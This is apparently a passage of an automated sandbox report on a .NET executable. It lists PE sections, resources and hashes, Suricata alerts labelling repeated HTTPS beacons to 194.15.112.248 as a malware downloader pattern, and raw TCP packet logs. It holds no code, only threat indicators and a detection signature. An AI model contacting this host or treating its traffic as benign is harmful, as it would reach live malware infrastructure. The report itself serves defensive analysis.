IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb64	0xc00	4b0bc13289f9896f4f7af2fcb8f4e52f	False	0.5716145833333334	data	5.189697873641547	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x29276	0x29400	04ee348ac2debaee0968c396aa0f5c6c	False	0.0558297821969697	data	3.0574613817425944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2e000	0xc	0x200	d41fb489799b709e37a733d4ed02be14	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x42b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.17375886524822695
RT_ICON	0x4718	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.11229508196721312
RT_ICON	0x50a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.06941838649155722
RT_ICON	0x6148	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.03973029045643153
RT_ICON	0x86f0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	0.029168634860651865
RT_ICON	0xc918	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	0.03022181146025878
RT_ICON	0x11da0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	0.019261088921589238
RT_ICON	0x1b248	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	0.023837690760676683
RT_ICON	0x2ba70	0x1285	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.8517190466146383
RT_GROUP_ICON	0x2ccf8	0x84	data	0.7272727272727273
RT_VERSION	0x2cd7c	0x310	data	0.4489795918367347
RT_MANIFEST	0x2d08c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T16:27:29.576670+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49714	194.15.112.248	443	TCP
2024-12-10T16:27:32.526457+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49715	194.15.112.248	443	TCP
2024-12-10T16:27:35.369134+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49716	194.15.112.248	443	TCP
2024-12-10T16:27:38.316628+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49717	194.15.112.248	443	TCP
2024-12-10T16:27:41.249915+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49718	194.15.112.248	443	TCP
2024-12-10T16:27:44.172445+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49721	194.15.112.248	443	TCP
2024-12-10T16:27:47.152636+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49722	194.15.112.248	443	TCP
2024-12-10T16:27:49.988251+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49723	194.15.112.248	443	TCP
2024-12-10T16:27:52.919141+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49724	194.15.112.248	443	TCP
2024-12-10T16:27:55.868078+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49725	194.15.112.248	443	TCP
2024-12-10T16:27:58.769686+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49726	194.15.112.248	443	TCP
2024-12-10T16:28:01.651132+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49727	194.15.112.248	443	TCP
2024-12-10T16:28:04.541632+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49728	194.15.112.248	443	TCP
2024-12-10T16:28:07.439598+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49729	194.15.112.248	443	TCP
2024-12-10T16:28:10.362142+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49730	194.15.112.248	443	TCP
2024-12-10T16:28:13.255533+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49731	194.15.112.248	443	TCP
2024-12-10T16:28:16.139650+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49732	194.15.112.248	443	TCP
2024-12-10T16:28:19.004117+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49733	194.15.112.248	443	TCP
2024-12-10T16:28:21.900347+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49735	194.15.112.248	443	TCP
2024-12-10T16:28:24.793119+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49736	194.15.112.248	443	TCP
2024-12-10T16:28:27.680746+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49737	194.15.112.248	443	TCP
2024-12-10T16:28:30.557000+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49738	194.15.112.248	443	TCP
2024-12-10T16:28:33.416773+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49739	194.15.112.248	443	TCP
2024-12-10T16:28:36.346856+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49740	194.15.112.248	443	TCP
2024-12-10T16:28:39.176510+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49741	194.15.112.248	443	TCP
2024-12-10T16:28:42.030234+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49742	194.15.112.248	443	TCP
2024-12-10T16:28:45.034408+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49743	194.15.112.248	443	TCP
2024-12-10T16:28:47.921613+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49744	194.15.112.248	443	TCP
2024-12-10T16:28:51.845244+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49745	194.15.112.248	443	TCP
2024-12-10T16:28:54.729587+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49746	194.15.112.248	443	TCP
2024-12-10T16:28:57.617140+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49747	194.15.112.248	443	TCP
2024-12-10T16:29:00.497997+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49748	194.15.112.248	443	TCP
2024-12-10T16:29:03.373393+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49749	194.15.112.248	443	TCP
2024-12-10T16:29:06.254399+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49750	194.15.112.248	443	TCP
2024-12-10T16:29:09.166355+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49751	194.15.112.248	443	TCP
2024-12-10T16:29:12.107042+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49752	194.15.112.248	443	TCP
2024-12-10T16:29:15.519764+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49753	194.15.112.248	443	TCP
2024-12-10T16:29:18.516274+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49754	194.15.112.248	443	TCP
2024-12-10T16:29:21.422261+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49755	194.15.112.248	443	TCP
2024-12-10T16:29:24.320843+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49756	194.15.112.248	443	TCP
2024-12-10T16:29:27.272943+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49757	194.15.112.248	443	TCP
2024-12-10T16:29:30.163523+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49758	194.15.112.248	443	TCP
2024-12-10T16:29:33.137370+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49759	194.15.112.248	443	TCP
2024-12-10T16:29:36.051646+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49760	194.15.112.248	443	TCP
2024-12-10T16:29:38.891899+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49761	194.15.112.248	443	TCP
2024-12-10T16:29:41.778174+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49762	194.15.112.248	443	TCP
2024-12-10T16:29:44.669988+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49763	194.15.112.248	443	TCP
2024-12-10T16:29:47.540314+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49764	194.15.112.248	443	TCP
2024-12-10T16:29:50.435955+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49765	194.15.112.248	443	TCP
2024-12-10T16:29:53.312188+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49766	194.15.112.248	443	TCP
2024-12-10T16:29:56.201449+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49767	194.15.112.248	443	TCP
2024-12-10T16:29:59.185829+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49768	194.15.112.248	443	TCP
2024-12-10T16:30:02.079464+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49769	194.15.112.248	443	TCP
2024-12-10T16:30:04.971373+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49770	194.15.112.248	443	TCP
2024-12-10T16:30:08.144659+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49771	194.15.112.248	443	TCP
2024-12-10T16:30:10.962597+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49772	194.15.112.248	443	TCP
2024-12-10T16:30:13.861298+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49773	194.15.112.248	443	TCP
2024-12-10T16:30:16.740159+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49774	194.15.112.248	443	TCP
2024-12-10T16:30:19.661631+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49775	194.15.112.248	443	TCP
2024-12-10T16:30:22.805932+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49776	194.15.112.248	443	TCP
2024-12-10T16:30:25.705370+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49777	194.15.112.248	443	TCP
2024-12-10T16:30:28.588814+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49778	194.15.112.248	443	TCP
2024-12-10T16:30:31.493402+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49779	194.15.112.248	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 16:27:23.502171993 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:23.502223015 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:23.502312899 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:23.517067909 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:23.517106056 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:25.617381096 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:25.617456913 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:25.623353004 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:25.623368979 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:25.623661995 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:25.674246073 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:25.855422020 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:25.899338961 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:26.666474104 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:26.666506052 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:26.666553020 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:26.666580915 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:26.666598082 CET	443	49713	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:26.666646957 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:26.688276052 CET	49713	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:26.693382978 CET	49714	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:26.693424940 CET	443	49714	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:26.693522930 CET	49714	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:26.693749905 CET	49714	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:26.693767071 CET	443	49714	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:28.775978088 CET	443	49714	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:28.778312922 CET	49714	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:28.778342009 CET	443	49714	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:29.576689005 CET	443	49714	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:29.576733112 CET	443	49714	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:29.576798916 CET	443	49714	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:29.576853991 CET	49714	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:29.576886892 CET	49714	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:29.577449083 CET	49714	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:29.577989101 CET	49715	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:29.578033924 CET	443	49715	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:29.578257084 CET	49715	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:29.578563929 CET	49715	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:29.578578949 CET	443	49715	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:31.699012041 CET	443	49715	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:31.700697899 CET	49715	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:31.700725079 CET	443	49715	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:32.526468992 CET	443	49715	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:32.526503086 CET	443	49715	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:32.526555061 CET	49715	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:32.526568890 CET	443	49715	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:32.526607990 CET	49715	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:32.527129889 CET	49715	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:32.527764082 CET	49716	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:32.527818918 CET	443	49716	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:32.527889967 CET	49716	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:32.528177023 CET	49716	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:32.528188944 CET	443	49716	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:34.606102943 CET	443	49716	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:34.607884884 CET	49716	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:34.607914925 CET	443	49716	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:35.369151115 CET	443	49716	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:35.369183064 CET	443	49716	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:35.369252920 CET	443	49716	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:35.369311094 CET	49716	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:35.369343996 CET	49716	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:35.373265982 CET	49716	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:35.374243975 CET	49717	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:35.374295950 CET	443	49717	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:35.374380112 CET	49717	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:35.374619007 CET	49717	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:35.374646902 CET	443	49717	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:37.527875900 CET	443	49717	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:37.529774904 CET	49717	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:37.529802084 CET	443	49717	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:38.316664934 CET	443	49717	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:38.316688061 CET	443	49717	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:38.316749096 CET	443	49717	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:38.316870928 CET	49717	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:38.317486048 CET	49717	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:38.318089962 CET	49718	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:38.318119049 CET	443	49718	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:38.318190098 CET	49718	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:38.318429947 CET	49718	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:38.318442106 CET	443	49718	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:40.434689999 CET	443	49718	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:40.436394930 CET	49718	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:40.436424017 CET	443	49718	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:41.249938011 CET	443	49718	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:41.249969959 CET	443	49718	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:41.250039101 CET	443	49718	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:41.250061035 CET	49718	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:41.250124931 CET	49718	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:41.251121044 CET	49718	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:41.251120090 CET	49721	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:41.251188040 CET	443	49721	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:41.251285076 CET	49721	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:41.254442930 CET	49721	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:41.254467964 CET	443	49721	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:43.365931034 CET	443	49721	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:43.368143082 CET	49721	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:43.368201017 CET	443	49721	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:44.172467947 CET	443	49721	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:44.172494888 CET	443	49721	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:44.172545910 CET	443	49721	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:44.172568083 CET	49721	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:44.172606945 CET	49721	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:44.173172951 CET	49721	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:44.173724890 CET	49722	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:44.173768044 CET	443	49722	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:44.173968077 CET	49722	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:44.174190044 CET	49722	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:44.174201965 CET	443	49722	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:46.365387917 CET	443	49722	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:46.367031097 CET	49722	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:46.367047071 CET	443	49722	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:47.152662039 CET	443	49722	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:47.152695894 CET	443	49722	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:47.152812958 CET	49722	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:47.152842999 CET	443	49722	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:47.152879953 CET	443	49722	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:47.152931929 CET	49722	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:47.153529882 CET	49722	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:47.154120922 CET	49723	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:47.154165030 CET	443	49723	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:47.154236078 CET	49723	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:47.154448986 CET	49723	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:47.154454947 CET	443	49723	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:49.184962988 CET	443	49723	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:49.186834097 CET	49723	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:49.186846018 CET	443	49723	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:49.988277912 CET	443	49723	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:49.988312960 CET	443	49723	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:49.988373995 CET	443	49723	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:49.988383055 CET	49723	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:49.988416910 CET	49723	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:49.988944054 CET	49723	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:49.989525080 CET	49724	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:49.989559889 CET	443	49724	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:49.993688107 CET	49724	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:49.993921995 CET	49724	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:49.993936062 CET	443	49724	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:52.115442038 CET	443	49724	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:52.117230892 CET	49724	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:52.117261887 CET	443	49724	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:52.919153929 CET	443	49724	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:52.919187069 CET	443	49724	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:52.919249058 CET	443	49724	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:52.919287920 CET	49724	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:52.919323921 CET	49724	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:52.919975996 CET	49724	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:52.920556068 CET	49725	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:52.920598030 CET	443	49725	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:52.920679092 CET	49725	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:52.920908928 CET	49725	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:52.920927048 CET	443	49725	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:55.062918901 CET	443	49725	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:55.064440012 CET	49725	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:55.064455032 CET	443	49725	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:55.868107080 CET	443	49725	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:55.868133068 CET	443	49725	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:55.868201017 CET	443	49725	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:55.868355989 CET	49725	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:55.868355989 CET	49725	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:55.868668079 CET	49725	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:55.869282961 CET	49726	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:55.869322062 CET	443	49726	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:55.871138096 CET	49726	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:55.871339083 CET	49726	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:55.871351004 CET	443	49726	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:57.970067978 CET	443	49726	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:57.972023964 CET	49726	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:57.972047091 CET	443	49726	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:58.769705057 CET	443	49726	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:58.769761086 CET	443	49726	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:58.769824982 CET	443	49726	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:58.769854069 CET	49726	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:58.769891024 CET	49726	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:58.770376921 CET	49726	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:58.770934105 CET	49727	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:58.770970106 CET	443	49727	194.15.112.248	192.168.2.8
Dec 10, 2024 16:27:58.771078110 CET	49727	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:58.771275997 CET	49727	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:27:58.771287918 CET	443	49727	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:00.843348980 CET	443	49727	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:00.846641064 CET	49727	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:00.846682072 CET	443	49727	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:01.651154995 CET	443	49727	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:01.651190996 CET	443	49727	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:01.651263952 CET	443	49727	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:01.651307106 CET	49727	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:01.651356936 CET	49727	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:01.651921988 CET	49727	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:01.652420044 CET	49728	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:01.652456045 CET	443	49728	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:01.654508114 CET	49728	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:01.654773951 CET	49728	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:01.654793978 CET	443	49728	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:03.736123085 CET	443	49728	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:03.738080978 CET	49728	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:03.738106966 CET	443	49728	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:04.541651964 CET	443	49728	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:04.541686058 CET	443	49728	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:04.541764021 CET	443	49728	194.15.112.248	192.168.2.8
Dec 10, 2024 16:28:04.541807890 CET	49728	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:04.541832924 CET	49728	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:28:04.542392969 CET	49728	443	192.168.2.8	194.15.112.248
